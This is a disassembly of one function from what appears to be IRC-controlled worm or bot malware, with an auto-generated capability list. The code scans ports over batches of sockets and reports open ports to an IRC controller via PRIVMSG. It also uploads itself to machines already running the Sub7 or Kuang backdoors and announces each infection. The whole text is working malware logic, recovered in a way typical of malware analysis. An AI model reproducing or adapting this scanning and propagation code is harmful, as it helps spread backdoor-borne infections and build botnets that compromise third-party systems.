Function at 0x40621e
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Get socket status
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3e0
push ebx
push esi
push edi
mov ebx, dword [ebp + 0xc]
mov esi, dword [ebp + 0x10]
push 0x10
push 0
lea eax, [ebp - 0x2bc]
push eax
call sub.CRTDLL.DLL_memset
add esp, 0xc
mov word [ebp - 0x2bc], 2
mov eax, ebx
and eax, 0xffff
push eax
call sub.wsock32.dll_htons
mov edx, eax
mov word [ebp - 0x2ba], dx
mov dword [ebp - 0x2c0], 1
xor edi, edi
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov dword [ebp + edi*4 - 0xa0], eax
cmp dword [ebp + edi*4 - 0xa0], 0xffffffff
jne 0x406292
xor eax, eax
inc eax
jmp 0x406695
lea eax, [ebp - 0x2c0]
push eax
mov eax, 0x80040000
or ax, 0x6600
or al, 0x7e
push eax
push dword [ebp + edi*4 - 0xa0]
call sub.wsock32.dll_ioctlsocket
inc edi
cmp edi, 0x28
jl 0x40626e
xor edi, edi
push esi
call fcn.0040669a
pop ecx
imul eax, esi, 0x15c
lea eax, [eax + 0x409494]
push eax
call sub.wsock32.dll_inet_addr
mov dword [ebp - 0xa4], eax
cmp eax, 0xffffffff
jne 0x4062e5
xor eax, eax
jmp 0x406695
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x2b8], eax
push 0x10
lea eax, [ebp - 0x2bc]
push eax
push dword [ebp + edi*4 - 0xa0]
call sub.wsock32.dll_connect
inc edi
cmp edi, 0x28
jl 0x4062b9
imul eax, esi, 0x15c
push dword [eax + 0x4094c8]
call sub.KERNEL32.DLL_Sleep
xor edi, edi
and dword [ebp - 0xac], 0
and dword [ebp - 0xa8], 0
and dword [ebp - 0x3cc], 0
cmp dword [ebp - 0x3cc], 0x40
jae 0x406358
mov edx, dword [ebp - 0x3cc]
inc dword [ebp - 0x3cc]
mov ecx, dword [ebp + edi*4 - 0xa0]
mov dword [ebp + edx*4 - 0x3c8], ecx
lea eax, [ebp - 0xac]
push eax
push 0
lea eax, [ebp - 0x3cc]
push eax
push 0
push 0
call sub.wsock32.dll_select
cmp eax, 1
jge 0x406387
push dword [ebp + edi*4 - 0xa0]
call sub.wsock32.dll_closesocket
jmp 0x406689
mov dword [ebp - 0x3e0], 0x10
lea eax, [ebp - 0x3e0]
push eax
lea eax, [ebp - 0x3dc]
push eax
push dword [ebp + edi*4 - 0xa0]
call sub.wsock32.dll_getpeername
push 4
lea eax, [ebp - 0x3d8]
push eax
lea eax, [ebp - 0xa4]
push eax
call sub.CRTDLL.DLL_memcpy
add esp, 0xc
imul eax, esi, 0x15c
lea ecx, [eax + 0x409390]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x4063d3
cmp eax, 2
jbe 0x40644d
push 0x413580
imul eax, esi, 0x15c
lea eax, [eax + 0x409390]
push eax
call sub.CRTDLL.DLL_fopen
add esp, 8
mov dword [ebp - 0x2c4], eax
cmp dword [ebp - 0x2c4], 0
je 0x40644d
push dword [ebp - 0xa4]
call sub.wsock32.dll_inet_ntoa
push ebx
push eax
push str._s:_i_n
lea edx, [ebp - 0x2ac]
push edx
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
push dword [ebp - 0x2c4]
lea eax, [ebp - 0x2ac]
push eax
call sub.CRTDLL.DLL_fputs
add esp, 8
push dword [ebp - 0x2c4]
call sub.CRTDLL.DLL_fclose
add esp, 4
imul eax, esi, 0x15c
lea ecx, [eax + 0x4094a4]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x40645d
cmp eax, 2
jbe 0x40649a
push dword [ebp - 0xa4]
call sub.wsock32.dll_inet_ntoa
push eax
push ebx
imul edx, esi, 0x15c
lea edx, [edx + 0x4094a4]
push edx
push str.PRIVMSG__s_:Found_poort__i_open_at_ip:_s__r_n
lea edx, [ebp - 0x2ac]
push edx
call sub.CRTDLL.DLL_sprintf
add esp, 0x14
jmp 0x4064bb
push dword [ebp - 0xa4]
call sub.wsock32.dll_inet_ntoa
push eax
push ebx
push str.Found_poort__i_open_at_ip:_s__r_n
lea edx, [ebp - 0x2ac]
push edx
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
lea ecx, [ebp - 0x2ac]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x4064c4
push 0
push eax
lea edx, [ebp - 0x2ac]
push edx
imul edx, esi, 0x15c
push dword [edx + 0x4094d8]
call sub.wsock32.dll_send
imul eax, esi, 0x15c
cmp dword [eax + 0x4094d0], 0
jne 0x406503
push dword [ebp + edi*4 - 0xa0]
call sub.wsock32.dll_closesocket
imul eax, esi, 0x15c
cmp dword [eax + 0x4094d0], 1
jne 0x4065c7
push dword [ebp + edi*4 - 0xa0]
call fcn.00406847
pop ecx
cmp eax, 1
jne 0x4065c7
imul eax, esi, 0x15c
lea ecx, [eax + 0x4094a4]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x40653d
cmp eax, 2
jbe 0x40657a
push dword [ebp - 0xa4]
call sub.wsock32.dll_inet_ntoa
push ebx
push eax
imul edx, esi, 0x15c
lea edx, [edx + 0x4094a4]
push edx
push str.PRIVMSG__s_:Server_uploaded_to_sub7server_IP:__s_port:__i_r_n
lea edx, [ebp - 0x2ac]
push edx
call sub.CRTDLL.DLL_sprintf
add esp, 0x14
jmp 0x40659b
push dword [ebp - 0xa4]
call sub.wsock32.dll_inet_ntoa
push ebx
push eax
push str.Server_uploaded_to_sub7server_IP:__s_port:__i_r_n
lea edx, [ebp - 0x2ac]
push edx
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
lea ecx, [ebp - 0x2ac]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x4065a4
push 0
push eax
lea edx, [ebp - 0x2ac]
push edx
imul edx, esi, 0x15c
push dword [edx + 0x4094d8]
call sub.wsock32.dll_send
imul eax, esi, 0x15c
cmp dword [eax + 0x4094d0], 2
jne 0x406689
push dword [ebp + edi*4 - 0xa0]
call fcn.00406c7e
pop ecx
cmp eax, 1
jne 0x406689
imul eax, esi, 0x15c
lea ecx, [eax + 0x4094a4]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x406601
cmp eax, 2
jbe 0x40663d
push dword [ebp - 0xa4]
call sub.wsock32.dll_inet_ntoa
push eax
imul edx, esi, 0x15c
lea edx, [edx + 0x4094a4]
push edx
push str.PRIVMSG__s_:Server_uploaded_to_kuangserver_IP:__s__r_n
lea edx, [ebp - 0x2ac]
push edx
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
jmp 0x40665d
push dword [ebp - 0xa4]
call sub.wsock32.dll_inet_ntoa
push eax
push str.Server_uploaded_to_kuangserver_IP:__s__r_n
lea edx, [ebp - 0x2ac]
push edx
call sub.CRTDLL.DLL_sprintf
add esp, 0xc
lea ecx, [ebp - 0x2ac]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x406666
push 0
push eax
lea edx, [ebp - 0x2ac]
push edx
imul edx, esi, 0x15c
push dword [edx + 0x4094d8]
call sub.wsock32.dll_send
inc edi
cmp edi, 0x28
jl 0x406320
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret